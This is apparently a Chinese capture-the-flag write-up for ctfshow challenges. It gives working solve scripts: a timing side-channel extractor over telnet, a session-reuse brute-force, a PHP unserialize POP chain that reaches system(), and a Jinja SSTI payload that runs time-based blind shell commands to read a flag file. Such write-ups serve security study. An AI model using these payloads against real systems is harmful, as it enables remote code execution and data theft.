ctfshow_击剑杯wp_flag挂树上-看图识码-看图识妹-easyPOP-给我看看-近在眼前
flag挂树上#
#!/usr/bin/python3 import time class Tree: def __init__(self, data=None): self.left = None self.right = None self.data = data def add(self, data): if self.data == None: self.data = data elif data < self.data: if self.left is None: self.left = Tree(data) else: self.left.add(data) elif data > self.data: if self.right is None: self.right = Tree(data) else: self.right.add(data) # 重复的福来阁我们就不再往树上挂了 def find(self, data): time.sleep(0.01) # 哎哟好烦,怎么就卡住了…… if self.data == data: return True if data > self.data: return self.right is not None and self.right.find(data) if data < self.data: return self.left is not None and self.left.find(data) return False def length(self): ret = 1 if self.data is not None else 0 ret += self.right.length() if self.right is not None else 0 ret += self.left.length() if self.left is not None else 0 return ret def get_flag(): with open("flag.txt") as f: flag = f.read() return flag def one_second(): print("Press [ENTER] to let me take 1 second from your life:") input() time.sleep(1) print("Now you minus 1 second and I add 1 second.") MENU = """ Menu: (1) Give Me 1 Second (2) Hang the Flags on a Tree """ if __name__ == "__main__": print("Hola! This service will help you hang the flags on a tree.") while True: print(MENU) x = input("> ") if '1' in x: one_second() if '2' in x: break my_tree = Tree(None) print("FEATURE: You can hang many flags at one time on a tree.") print("Please enter flags that you want to hang on the tree, in the regex form ctfshow{.+}") print("Please enter one flag per line.") print() print("Please enter a new line to end hanging.") while True: s = input("Flag to be hung: ") if len(s) == 0: break my_tree.add(s) if my_tree.find(get_flag()): print("FUIYOH! You have hung at least 1 correct flag on the tree!") else: print("HAIYAA! You have hung trash on the tree! Please throw them into the trash bin, okay?")
代码就是根据你输入文本插入二叉树里,然后从二叉树里面找flag
这里利用点是每一次判断节点都会停留0.01s,我们设计一棵树
根节点为c,只有右子树,为cb,cb,cbbb...(因为不允许重复)
这样比如flag开头是cd,他会往右边走,每一次花0.01秒,一共花了0.05秒。要是开头是ca,就往左边走,花0.01秒
这样我们就能构造脚本盲注了
Host='xxx.xxx'
ans='' while(1): head = 32 tail = 127 print(ans) while head < tail: tn = telnetlib.Telnet(Host, port=28185, timeout=10) tn.set_debuglevel(0) k = tn.read_until(rr, timeout=1) print(k) tn.write(zz) mid = (head + tail) >> 1 if(tail==head+1): mid=mid+1 i=chr(mid) print(i) for mi in range(10): k = tn.read_until(yy, timeout=0.5) #print(str(k,'utf-8')) c=ans+i print(c) bb = bytes(c+'\n', 'utf-8') tn.write(bb) i=i+'!' bb = bytes('\n', 'utf-8') tn.write(bb) k = tn.read_until(yy, timeout=0.09) print(str(k, 'utf-8')) if('trash' in str(k, 'utf-8')): tail = mid-1 else: head = mid #小 print(chr(head)+chr(tail)) ans=ans+chr(head)
看图识妹#
每一次输入会更新session,我们正确就换新的session,错误就用旧的session继续即可
import requests import re url = "http://e43e9eac-699c-4143-989c-4afe0bb72775.challenge.ctf.show/start" url2 = "http://e43e9eac-699c-4143-989c-4afe0bb72775.challenge.ctf.show/check" se = 'eyJyb3VuZF9zIjo2fQ.YY1DaQ.1LnKRbuwJVi5dz60AhGMDaEfstM'; while(1): while(1): headers = { 'Cookie': 'UM_distinctid=17cc9de90647a-0dbb54e8c1219f-57b193e-1fa400-17cc9de9065461; session=' + se } r = requests.get(url=url,headers=headers) s = re.findall("<p><img src=.{1000}(.{20})", r.text) print(s) m=0 for i in "ABCDEFGHIJ": for j in "0123456789": data = {"meizi_id":i+j, 'Cookie': 'UM_distinctid=17cc9de90647a-0dbb54e8c1219f-57b193e-1fa400-17cc9de9065461; session=' + se} k = requests.post(url=url2,data=data,headers=headers) if (k.text == '<h2>恭喜你回答正确</h2><meta http-equiv="refresh" content="2;url=start">'): print(k.text); ss = re.findall("session=(.*); HttpOnly", str(k.headers)) print(ss) se=ss[0]; m=1 break; if(m==1): break
看图识码#
4个micro qr码合成的,分成4个后扫描即可,软件用barcode scanner
easyPOP#
<?php highlight_file (__FILE__); error_reporting(0); class action_1{ public $tmp; public $fun = 'system'; public function __call($wo,$jia){ call_user_func($this->fun); } public function __wakeup(){ $this->fun = ''; die("阿祖收手吧,外面有套神"); } public function __toString(){ return $this->tmp->str; } } class action_2{ public $p; public $tmp; public function getFlag(){ if (isset($_GET['ctfshow'])) { $this->tmp = $_GET['ctfshow']; } system("cat /".$this->tmp); } public function __call($wo,$jia){ phpinfo(); } public function __wakeup(){ echo "<br>"; echo "php版本7.3哦,没有人可以再绕过我了"; echo "<br>"; } public function __get($key){ $function = $this->p; return $function(); } } class action_3{ public $str; public $tmp; public $ran; public function __construct($rce){ echo "送给你了"; system($rce); } public function __destruct(){ urlencode($this->str); } public function __get($jia){ if(preg_match("/action_2/",get_class($this->ran))){ return "啥也没有"; } return $this->ran->$jia(); } } class action_4{ public $ctf; public $show; public $jia; public function __destruct(){ $jia = $this->jia; echo $this->ran->$jia; } public function append($ctf,$show){ echo "<br>"; echo new $ctf($show); } public function __invoke(){ $this->append($this->ctf,$this->show); } } if(isset($_GET['pop'])){ $pop = $_GET['pop']; $output = unserialize($pop); if(preg_match("/php/",$output)){ echo "套神黑进这里并给你了一个提示:文件名是f开头的形如fA6_形式的文件"; die("不可以用伪协议哦"); } }
注意到
class action_3{ public $str; public $tmp; public $ran; public function __construct($rce){ echo "送给你了"; system($rce); } ...
action_3构造函数有system,尝试戴参数的new一个action_3即可
而
class action_4{ public $ctf; public $show; public $jia; ... public function append($ctf,$show){ echo "<br>"; echo new $ctf($show); } public function __invoke(){ $this->append($this->ctf,$this->show); } }
action_4的__invoke函数调用append函数能创建新类,而__invoke是该类被当作函数处理时会调用
继续观察
class action_2{ 。。。 public function __get($key){ $function = $this->p; return $function(); } }
action_2的__get函数会调用p,让p等于 action4即可,而__get是调用不存在的变量时会触发
继续看
class action_1{ 。。。 public function __toString(){ return $this->tmp->str; } }
action_1会返回tmp的str,我们让tmp等于action_2,str随便设置即可,下面就是调用__tostring了
注意到
class action_3{ 。。。 public function __destruct(){ urlencode($this->str); } }
action_3的析构函数会url解码str,让str等于action_1即可调用其__tosrting
payload
<?php highlight_file (__FILE__); class action_1{ public $tmp; public $fun = 'system'; } class action_2{ public $p; public $tmp; } class action_3{ public $str; public $tmp; public $ran; } class action_4{ public $ctf; public $show; public $jia; } $a=new action_3(); $a->str=new action_1(); $a->str->tmp=new action_2(); $a->str->tmp->p=new action_4(); $a->str->tmp->p->ctf='action_3'; $a->str->tmp->p->show='ls /'; print_r(serialize($a));
给我看看#
简单的变量覆盖即可
payload
<?php header("Content-Type: text/html;charset=utf-8"); class whoami{ public $name; public $your_answer; public $useless; } $a= new whoami(); $a->your_answer ='1'; print_r(serialize($a));
post传入是覆盖secret,并且覆盖you_never_know
近在眼前#
脚本跑的,感觉不是预期解
str='-'+'_'+'{'+'}'+string.ascii_letters+string.digits result="" for j in range(10,50): for n in str: payload='if [ `cat /app/flag.txt|cut -c {1} ` != {2} ];then sleep 0.3 ; fi'.format(0,j,n) url="http://9da14a5e-73e8-4fc7-8ff8-a109b496b3a5.challenge.ctf.show/ssti?input={{%22%22.__class__.__mro__[-1].__subclasses__()[100].__init__.__globals__[%27__builtins__%27][%27eval%27](%27__import__(%22os%22).system(\""+payload+"\")%27)}}" try: print(url) requests.get(url,timeout=(0.3 ,0.3 )) result=result+n print(result) break except: continue result+=" "
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 如何编写易于单元测试的代码
· 10年+ .NET Coder 心语,封装的思维:从隐藏、稳定开始理解其本质意义
· .NET Core 中如何实现缓存的预热?
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
· 地球OL攻略 —— 某应届生求职总结
· 周边上新:园子的第一款马克杯温暖上架
· Open-Sora 2.0 重磅开源!
· 提示词工程——AI应用必不可少的技术
· .NET周刊【3月第1期 2025-03-02】